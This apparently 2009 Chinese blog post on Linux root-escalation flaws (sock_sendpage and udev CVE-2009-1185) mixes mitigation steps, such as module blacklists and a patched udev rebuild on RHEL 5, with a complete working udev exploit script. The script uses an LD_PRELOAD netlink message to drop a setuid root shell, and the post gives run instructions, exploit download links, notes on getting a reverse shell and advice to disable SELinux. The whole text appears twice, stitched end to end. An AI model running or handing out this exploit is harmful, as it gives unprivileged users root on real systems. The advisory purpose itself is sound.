udev安全补丁
国外黑客taviso和julien公开了可以攻击所有新旧Linux系统的一个漏洞，包括但不限于 RedHat,CentOS,Suse,Debian,Ubuntu,Slackware,Mandriva,Gentoo及其衍生系统。黑客只需要执行 一个命令，就可以通过此漏洞获得root权限，即使开启了SELinux也于事无补。攻击这个漏洞到底有多简单，下面我们看图说话，有图有真相。
CHANGELOGS:
2009/08/16 chenjun@xfocus提供了debian/ubuntu系统的修复方式。
2009/08/16 根据网友要求添加漏洞详情和exploit下载地址。
2009/08/16 改进修复方式，避免RHEL下的无效修复。感谢小阮MM反馈并提供服务器协助定位解决。
2009/08/16 添加攻击经验记录。感谢cnbird分享经验。
如上图所示，利用此漏洞极其简单，并且影响所有的Linux内核，baoz强烈建议系统管 理员或安全人员参考下列临时修复方案，以防止Linux系统被攻击 。
1、使用Grsecurity或者Pax内核安全补丁，并开启 KERNEXEC防护功能。
2、升级到2.6.31-rc6或2.4.37.5以上的内核版本。
3、如果您使用的是 RedHa tEnterprise Linux 4/5的系统或Centos4/5的系统，您可以通过下面的操作简单的操作防止被攻击。
在 /etc/modprobe.conf文件中加入下列内容：
install pppox /bin/true
install bluetooth /bin/true
install appletalk /bin/true
install ipx /bin/true
install sctp /bin/true
执行/sbin/lsmod | grep -e ppp -e blue -e app -e ipx -e sct，如果没有输出，你不需要重启，如果有输出，你需要重启系统，才可以对此攻击免疫。
下 图是免疫前后的效果对比图：
4、如果您使用的是Debian或Ubuntu系统，您可以通过下面的操作防止被攻击（感谢chenjun提 供）
cat > /etc/modprobe.d/mitigate-2692.conf << EOM
install ppp_generic /bin/true
install pppoe /bin/true
install pppox /bin/true
install slhc /bin/true
install bluetooth /bin/true
install ipv6 /bin/true
install irda /bin/true
install ax25 /bin/true
install x25 /bin/true
install ipx /bin/true
install appletalk /bin/true
EOM
/etc/init.d/bluez-utils stop
很明显，第三、四个方案最简单也相对有效，对业务影响也最小，如果您对编译和安装Linux内核不熟悉，千万不要使用前两个方 案，否则您的系统可能永远无法启动。
如果你希望了解漏洞详情，请访问下列URL：
http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html
http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
https://bugzilla.redhat.com/show_bug.cgi?id=516949
如 果你希望亲手验证此漏洞，你可以下载下列两个代码包测试（有可能导致系统不稳定，当机等现象，后果自负）：
http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz
http://www.securityfocus.com/data/vulnerabilities/exploits/36038-4.tgz
攻 击经验记录：
1、如果selinux没开，会报缺少Pulseaudio文件，实际上根本不需要他，只是selinux没开导致的，用另 外一个exp攻击同样不成功。从这里可以总结出来，如果你没开selinux，在现有的exploit下，不需要做任何操作，也不会受到攻击。当然，这个 是我个人经验总结，并且只在RHEL5上验证过，请各位自己评估风险。顺带说一下，SElinux这东西，默认是开启的，如果你没关闭过他。根据我的猜 测，可能是exp在bypass selinux那段代码里出了点问题。所以说改/etc/selinux/config文件，禁用selinux，也可以在一定程度上防范公开的exp。
[xiaoruan@localhost wunderbar_emporium]$ ./wunderbar_emporium.sh
[+] Personality set to: PER_SVR4
Pulseaudio does not exist!
[xiaoruan@localhost run]$ sh run.sh
padlina z lublina!
mprotect: Cannot allocate memory
2、 回连的shell溢出虽然可以成功，但uid不是0，解决办法是用一个带pty的shell。这个经验由cnbird提供。
udev没有 正确的检查Netlink消息的来源，本地攻击者可以利用这个漏洞向udev发送特
制的Netlink消息，导致其创建已有系统块设备（如 root文件系统）完全可写的块设备
文件，以获得root权限。（CVE-2009-1185）
redhat 官方网站，发出补丁通知，udev只针对rhel 5环境。
本人在生产环境下，针对rhel 5.1进行测试，发现，普通用户通过一个udev脚本，很容易提权到root权限。附udev攻击脚本：
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]
将以上代码保存为a.sh
然后使用ps axuf|grep udev找出udev的进程号，再-1。如udev 进程号为：896
再运行如下命令
sh a.sh 895
这 时你会发现#符号出现了，用id测试看看吧。
Rhel 5.1环境下解决办法：( 根据自身的需求，下列是针对rhel 5服务器版）
Red Hat Enterprise Linux (v.5服务器):
Source:
ftp.redhat.com/pub/redhat/linux/enterprise/5Server/en/os/SRPMS/udev-095-14.20.el5_3.src.rpm
i386:
libvolume_id-095-14.20.el5_3.i386.rpm
libvolume_id-devel-095-14.20.el5_3.i386.rpm
udev-095-14.20.el5_3.i386.rpm
udev-debuginfo-095-14.20.el5_3.i386.rpm
下载udev-095-14.20.el5_3.src.rpm
并进行重新编译：rpmbuild --rebuild udev-095-14.20.el5_3.src.rpm
如果系统缺少相应的依赖包，将会出现下面的错 误：warning: group mockbuild does not exist - using root
warning: user mockbuild does not exist - using root
warning: group mockbuild does not exist - using root
error: Failed build dependencies:
libselinux-devel >= 0:1.17.9-2 is needed by udev-095-14.20.i386
libsepol-devel is needed by udev-095-14.20.i386
pam-devel is needed by udev-095-14.20.i386
glib2-devel is needed by udev-095-14.20.i386
需要从rhel 5.1源光盘中，找到所需要的依赖包，并安装。
警告信息， 可以忽略：
按以下顺序安装：
#rpm -ivh libsepol-devel-1.15.2-1.el5.i386.rpm
#rpm -ivh libselinux-devel-1.33.4-2.el5.i386.rpm
#rpm -ivh pam-devel-0.99.6.2-3.14.el5.i386.rpm
#rpm -ivh glib2-devel-2.12.3-2.fc6.i386.rpm
#rpmbuild --rebuild udev-095-14.20.el5_3.src.rpm
进入到/usr/src/redhat/RPMS/i386目录下，将会发 现，将会生成4个文件：
libvolume_id-095-14.20.i386.rpm libvolume_id-devel-095-14.20.i386.rpm udev-095-14.20.i386.rpm udev-debuginfo-095-14.20.i386.rpm
查看一下当前udev的PID值：
ps -aux|grep udev
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.7/FAQ
root 602 0.0 0.0 2744 1172 ? S<s 2008 0:00 /sbin/udevd -d
#rpm -Uvh udev-095-14.20.i386.rpm (升级UDEV包）
在看看，升级后的，udev的pid值：
ps -aux|grep udev
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.7/FAQ
root 32362 0.0 0.0 2660 1080 ? S<s 14:35 0:00 /sbin/udevd -d
发现值已变大，然后，测试一下，
sh a.sh 32361
suid.c: 在函数 ‘main’ 中：
suid.c:3: 警告：隐式声明与内建函数 ‘execl’ 不兼容
OK! 说明补丁升级成功！
需要注意的是：有可能出现，升级后，还能提权，如果出现这种状况，请把/tmp目 录下suid,udev,以及libno_ex*文件删除。
CHANGELOGS:
2009/08/16 chenjun@xfocus提供了debian/ubuntu系统的修复方式。
2009/08/16 根据网友要求添加漏洞详情和exploit下载地址。
2009/08/16 改进修复方式，避免RHEL下的无效修复。感谢小阮MM反馈并提供服务器协助定位解决。
2009/08/16 添加攻击经验记录。感谢cnbird分享经验。
如上图所示，利用此漏洞极其简单，并且影响所有的Linux内核，baoz强烈建议系统管 理员或安全人员参考下列临时修复方案，以防止Linux系统被攻击 。
1、使用Grsecurity或者Pax内核安全补丁，并开启 KERNEXEC防护功能。
2、升级到2.6.31-rc6或2.4.37.5以上的内核版本。
3、如果您使用的是 RedHa tEnterprise Linux 4/5的系统或Centos4/5的系统，您可以通过下面的操作简单的操作防止被攻击。
在 /etc/modprobe.conf文件中加入下列内容：
install pppox /bin/true
install bluetooth /bin/true
install appletalk /bin/true
install ipx /bin/true
install sctp /bin/true
执行/sbin/lsmod | grep -e ppp -e blue -e app -e ipx -e sct，如果没有输出，你不需要重启，如果有输出，你需要重启系统，才可以对此攻击免疫。
下 图是免疫前后的效果对比图：
4、如果您使用的是Debian或Ubuntu系统，您可以通过下面的操作防止被攻击（感谢chenjun提 供）
cat > /etc/modprobe.d/mitigate-2692.conf << EOM
install ppp_generic /bin/true
install pppoe /bin/true
install pppox /bin/true
install slhc /bin/true
install bluetooth /bin/true
install ipv6 /bin/true
install irda /bin/true
install ax25 /bin/true
install x25 /bin/true
install ipx /bin/true
install appletalk /bin/true
EOM
/etc/init.d/bluez-utils stop
很明显，第三、四个方案最简单也相对有效，对业务影响也最小，如果您对编译和安装Linux内核不熟悉，千万不要使用前两个方 案，否则您的系统可能永远无法启动。
如果你希望了解漏洞详情，请访问下列URL：
http://archives.neohapsis.com/archives/fulldisclosure/2009-08/0174.html
http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
https://bugzilla.redhat.com/show_bug.cgi?id=516949
如 果你希望亲手验证此漏洞，你可以下载下列两个代码包测试（有可能导致系统不稳定，当机等现象，后果自负）：
http://www.securityfocus.com/data/vulnerabilities/exploits/wunderbar_emporium-3.tgz
http://www.securityfocus.com/data/vulnerabilities/exploits/36038-4.tgz
攻 击经验记录：
1、如果selinux没开，会报缺少Pulseaudio文件，实际上根本不需要他，只是selinux没开导致的，用另 外一个exp攻击同样不成功。从这里可以总结出来，如果你没开selinux，在现有的exploit下，不需要做任何操作，也不会受到攻击。当然，这个 是我个人经验总结，并且只在RHEL5上验证过，请各位自己评估风险。顺带说一下，SElinux这东西，默认是开启的，如果你没关闭过他。根据我的猜 测，可能是exp在bypass selinux那段代码里出了点问题。所以说改/etc/selinux/config文件，禁用selinux，也可以在一定程度上防范公开的exp。
[xiaoruan@localhost wunderbar_emporium]$ ./wunderbar_emporium.sh
[+] Personality set to: PER_SVR4
Pulseaudio does not exist!
[xiaoruan@localhost run]$ sh run.sh
padlina z lublina!
mprotect: Cannot allocate memory
2、 回连的shell溢出虽然可以成功，但uid不是0，解决办法是用一个带pty的shell。这个经验由cnbird提供。
udev没有 正确的检查Netlink消息的来源，本地攻击者可以利用这个漏洞向udev发送特
制的Netlink消息，导致其创建已有系统块设备（如 root文件系统）完全可写的块设备
文件，以获得root权限。（CVE-2009-1185）
redhat 官方网站，发出补丁通知，udev只针对rhel 5环境。
本人在生产环境下，针对rhel 5.1进行测试，发现，普通用户通过一个udev脚本，很容易提权到root权限。附udev攻击脚本：
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]
将以上代码保存为a.sh
然后使用ps axuf|grep udev找出udev的进程号，再-1。如udev 进程号为：896
再运行如下命令
sh a.sh 895
这 时你会发现#符号出现了，用id测试看看吧。
Rhel 5.1环境下解决办法：( 根据自身的需求，下列是针对rhel 5服务器版）
Red Hat Enterprise Linux (v.5服务器):
Source:
ftp.redhat.com/pub/redhat/linux/enterprise/5Server/en/os/SRPMS/udev-095-14.20.el5_3.src.rpm
i386:
libvolume_id-095-14.20.el5_3.i386.rpm
libvolume_id-devel-095-14.20.el5_3.i386.rpm
udev-095-14.20.el5_3.i386.rpm
udev-debuginfo-095-14.20.el5_3.i386.rpm
下载udev-095-14.20.el5_3.src.rpm
并进行重新编译：rpmbuild --rebuild udev-095-14.20.el5_3.src.rpm
如果系统缺少相应的依赖包，将会出现下面的错 误：warning: group mockbuild does not exist - using root
warning: user mockbuild does not exist - using root
warning: group mockbuild does not exist - using root
error: Failed build dependencies:
libselinux-devel >= 0:1.17.9-2 is needed by udev-095-14.20.i386
libsepol-devel is needed by udev-095-14.20.i386
pam-devel is needed by udev-095-14.20.i386
glib2-devel is needed by udev-095-14.20.i386
需要从rhel 5.1源光盘中，找到所需要的依赖包，并安装。
警告信息， 可以忽略：
按以下顺序安装：
#rpm -ivh libsepol-devel-1.15.2-1.el5.i386.rpm
#rpm -ivh libselinux-devel-1.33.4-2.el5.i386.rpm
#rpm -ivh pam-devel-0.99.6.2-3.14.el5.i386.rpm
#rpm -ivh glib2-devel-2.12.3-2.fc6.i386.rpm
#rpmbuild --rebuild udev-095-14.20.el5_3.src.rpm
进入到/usr/src/redhat/RPMS/i386目录下，将会发 现，将会生成4个文件：
libvolume_id-095-14.20.i386.rpm libvolume_id-devel-095-14.20.i386.rpm udev-095-14.20.i386.rpm udev-debuginfo-095-14.20.i386.rpm
查看一下当前udev的PID值：
ps -aux|grep udev
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.7/FAQ
root 602 0.0 0.0 2744 1172 ? S<s 2008 0:00 /sbin/udevd -d
#rpm -Uvh udev-095-14.20.i386.rpm (升级UDEV包）
在看看，升级后的，udev的pid值：
ps -aux|grep udev
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.7/FAQ
root 32362 0.0 0.0 2660 1080 ? S<s 14:35 0:00 /sbin/udevd -d
发现值已变大，然后，测试一下，
sh a.sh 32361
suid.c: 在函数 ‘main’ 中：
suid.c:3: 警告：隐式声明与内建函数 ‘execl’ 不兼容
OK! 说明补丁升级成功！
需要注意的是：有可能出现，升级后，还能提权，如果出现这种状况，请把/tmp目 录下suid,udev,以及libno_ex*文件删除。